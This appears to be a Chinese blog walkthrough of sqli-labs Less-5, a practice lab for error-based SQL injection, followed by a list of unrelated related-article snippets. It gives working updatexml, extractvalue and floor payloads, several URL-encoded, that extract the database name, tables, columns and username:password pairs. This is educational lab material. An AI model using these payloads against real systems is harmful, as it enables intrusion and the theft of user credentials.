sql 注入 之sqli-labs/less-5 双注入,也称:报错注入

该关卡返回正确或者错误页面,还有错误的代码,所以可以使用报错注入。报错注入的方式:

updatexml 函数注入:

mysql5.1.5 版本以上支持该函数,返回数据限制32位

模板:select * from user where id=1 and (updatexml("任意字符", concat(0x7e,(select database()),0x7e),"任意字符"))  ;  0x7e 可以换成其他符号用来充当间隔符,比如"~","*" 等

payload:

id=1 ' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+

extractvalue 函数注入:

mysql 5.1.5 版本以上才支持该函数,返回数据限制为32 位,可以使用substring 函数进行数据位移偏转

模板:select * from user where id =1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)));

payload:

id=1' and ( extractvalue(1, concat (0x7e,(select database()),"*")))--+

floor 函数注入:

只能用concat连接,不能用group_concat,每次只能显示一条数据,

count : 查询数量 rand : 随机产生0-1 之间的数,floor :向下取整,group_by:按照指定字段分类

模板:

select * from user where id =1 and ( select 1 from ( select count(), concat(user(),floor(rand(0)2)) x from information_schema.table group_by x  )a )

payload:

正确页面:

错误页面:

输入单引号试探,发现页面会把sql报错语句显示在页面:

报错注入

查找数据库payload:

?id=1%27%20and%20(updatexml%20(1,%20concat(%200x7e,(select%20database()),%27~%27),1))%20--+

查找表:

id=1%27%20and%20(%20extractvalue(1,%20concat%20(0x7e,(select%20%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),"*")))--+

查找列名:返回结果超过1 行

?id=1%27%20and%20(%20extractvalue(1,%20concat%20(0x7e,(select%20%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27)%20,"*")))%20--+

payload 改为:每次只显示一行

1' and ( extractvalue(1, concat (0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),"*")))--+

limit 0,1 limit 1,1 limit 5,1 分别查出字段名

查找字段内容:

payload :

1%27%20and%20(%20extractvalue(1,%20concat%20(0x7e,(select%20username%20from%20users%20),"*")))--+

0x3c,0x68,0x72,0x2f,0x3e : 换行符

不能一次显示所有内容,所以分次查询:

id=1%27%20and%20(%20extractvalue(1,%20concat%20(0x7e,(select%20concat(username,":",password)%20from%20users%20limit%203,1),"*")))--+

用limit 0,1  limit n,1 来查看具体内容

1' and ( extractvalue(1, concat (0x7e,(select username from users),"*")))--+

1' and ( extractvalue(1, concat (0x7e,(select  username from users limit 0,1),"*")))--+

1' and ( extractvalue(1, concat (0x7e,(select  username from users where database='security'),"*")))--+

1' and ( extractvalue(1, concat (0x7e,(select username from users limit 0,1),"*")))--+

1' and ( extractvalue(1, concat (0x7e,(select  group_concat(username) from users  ),"*")))--+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/726554.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一次一对一服务引起的沉思和笑话(微信号Stefan)

前情提要 客户需求: 分析页面代码和接口请求协议和参数需求,将人工下载视频怎么获得最终的视频链接,这一逻辑清晰的展示并讲解清除。我询问了是否需要成品爬虫,他说代码他自己能搞定。 我给的价格选择: 第一种、首…

超好用的golang工具分享

go-callvis-代码调用关系的可视化工具 go-callvis是一个代码调用关系的可视化工具,它可以帮助我们了解指定项目代码的结构,以达到更快的理解代码意图的目的。 工具使用简单,步骤如下: // 1. 安装 git clone https://github.com…

蓝桥杯练习系统(算法训练)ALGO-983 最大获利

资源限制 内存限制:256.0MB C/C时间限制:1.0s Java时间限制:3.0s Python时间限制:5.0s 问题描述 Chakra是一位年轻有为的企业家,最近他在进军餐饮行业。他在各地开拓市场,共买下了N个饭店。在初期的…

python 爬虫爬取知乎LOL图片(亲测)

获取信息 访问url后按f12调试 点击network 定位图片信息: 可以看到,每个图片的名字和下载地址在标红处,示例如下: data-actualsrc“https://pic4.zhimg.com/v2-1681ff26afbd5f92aa5790b4dee6a63f_b.jpg” 现在就是requests访问…

Linux之线程概念

目录 一、细粒度划分 1、堆区细粒度划分 2、物理内存和可执行程序细粒度划分 3、虚拟地址到物理地址的转化 二、线程的概念 1、基本概念 2、线程的优点 3、线程的缺点 4、线程异常 5、线程用途 三、Linux下的进程和线程 一、细粒度划分 1、堆区细粒度划分 在语言…

MySQL 备份方案

优质博文:IT-BLOG-CN 一、为什么要备份 【1】容灾恢复:硬件故障、不经意的 Bug 导致数据损坏,或者服务器及其数据由于某些原因不可获取或无法使用等(例如:机房大楼烧毁,恶意的黑客攻击或 Mysql 的 Bug 等&…

8、Linux驱动开发:驱动-读写接口实现(readwrite)

目录 🍅点击这里查看所有博文 随着自己工作的进行,接触到的技术栈也越来越多。给我一个很直观的感受就是,某一项技术/经验在刚开始接触的时候都记得很清楚。往往过了几个月都会忘记的差不多了,只有经常会用到的东西才有可能真正记…

Seata 2.x 系列【4】产品简介

有道无术,术尚可求,有术无道,止于术。 本系列Spring Boot 版本 3.1.0 本系列Seata 版本 2.0.0 源码地址:https://gitee.com/pearl-organization/study-seata-demo 文章目录 1. 概述2. 发展历史3. 核心术语3.1 TC3.2 TM3.3 RM 4.…

国创证券|存钱有窍门,掌握这五个窍门利息高出不少?

大部分居民会把手中闲置的资金存入银行,享用安稳的收益,其间存在以下五个诀窍: 1、比照不同银行的利率 储户在去银行存钱时,能够比照不同银行的利率,尽量地挑选利率较高的银行存,来获取较多的收益&#x…

URL?后参数有特殊字符问题

前端对于URL的参数不做处理 不处理、用URLDecoder.decode()处理、用URLEncoder.encode()处理、用URLEncoder.encode()处理后再用URLDecoder.decode()处理 结果 前端对于URL的参数用encodeURIComponent(‘XF-OPPZZD-26*316’)处理 结果 前端不处理有&字符时 结果会把后…

BUUCTF---[极客大挑战 2019]BabySQL1

1.这道题和之前做的几道题是相似的,这道题考的知识点更多。难度也比之前的大一些 2.尝试万能密码 or 1#发现过滤了or,使用1和1,发现他对单引号也进行了过滤。于是我尝试进行双写绕过,发现可以通过了。 3.由之前的做题经验可知,这道题会涉及到…

每日汇评:黄金上破2161美元纪录高位,有可能进一步上涨?

周四早间,金价在2150美元的历史高点附近盘整,并成功上破2160历史高位; 美元在美债收益率的压力下逐步走低,市场期待更多鲍威尔讲话和美国就业数据; 日线图上的RSI指标超买状况继续令黄金买家保持谨慎; 金价…

如何在手机上中恢复已删除的照片

市场上有大量用于恢复手机已删除照片的应用程序。您可以尝试任何合法的应用程序来恢复意外删除的视频。其中一些应用程序包括 奇客数据恢复、Disk Drill等。 恢复已删除的 Android 照片 如果您不小心从 Android 设备中删除了任何重要视频,无需惊慌。您可以按照这些…

Java8 CompletableFuture异步编程-入门篇

🏷️个人主页:牵着猫散步的鼠鼠 🏷️系列专栏:Java全栈-专栏 🏷️个人学习笔记,若有缺误,欢迎评论区指正 目录 前言 1、Future vs CompletableFuture 1.1 准备工作 1.2 Future 的局限性 …

从0开始学习NEON(2)

1、前言 继上一个例子,本次继续来学习NEON,本次学习NEON中向量拼接的操作,主要应用在图像的padding中。 https://blog.csdn.net/weixin_42108183/article/details/136440707 2、案例 2.1 案例1 在某些情况下,需要取在每个向量…

小程序环形进度条爬坑

在做微信小程序的时候,发现用canvas做的环形进度条,在带滚动条的view里面显示有闪动、显示不全的问题,后面改成echart-weixin的pie图实现了,option配置如下 // 表示进度的百分比 var progressValue 70;option {series: [{type: …

指数幂+力扣

题目 题目链接 . - 力扣(LeetCode) 题目描述 代码实现 class Solution { public:double myPow(double x, int n) {long t n;return t > 0 ? _myPow(x, t) : 1 / _myPow(x, -t);}double _myPow(double x, int n){if(n 0) return 1;double y _…

docker安装与配置-网络方式ftp方式

说明: 本文环境:CentOS 7 1、#ip地址配置(在xnode2的基础上) [rootxnode2 ~]# cat /etc/sysconfig/network-scripts/ifcfg-eno16777736TYPEEthernetBOOTPROTOstaticDEFROUTEyesPEERDNSyesPEERROUTESyesIPV4_FAILURE_FATALnoIPV6INITyesIPV6_AUTOCONF…

Python 文件基础科普与文件打开技术详解【第117篇—文件打开技术】

Python 文件基础科普与文件打开技术详解 在Python编程中,文件操作是一项基础而重要的任务。无论是读取数据、写入文件还是进行其他文件处理操作,都需要对文件基础知识有一定的了解。在本文中,我们将首先介绍Python文件的基础概念&#xff0c…

哈希专题 - leetcode 1. 两数之和 - 简单难度

leetcode 1. 两数之和 leetcode 1. 两数之和 简单难度 哈希1. 题目详情1. 原题链接2. 基础框架 2. 解题思路1. 题目分析2. 算法原理3. 时间复杂度 3. 代码实现4. 知识与收获 leetcode 1. 两数之和 简单难度 哈希 1. 题目详情 给定一个整数数组 nums 和一个整数目标值 target…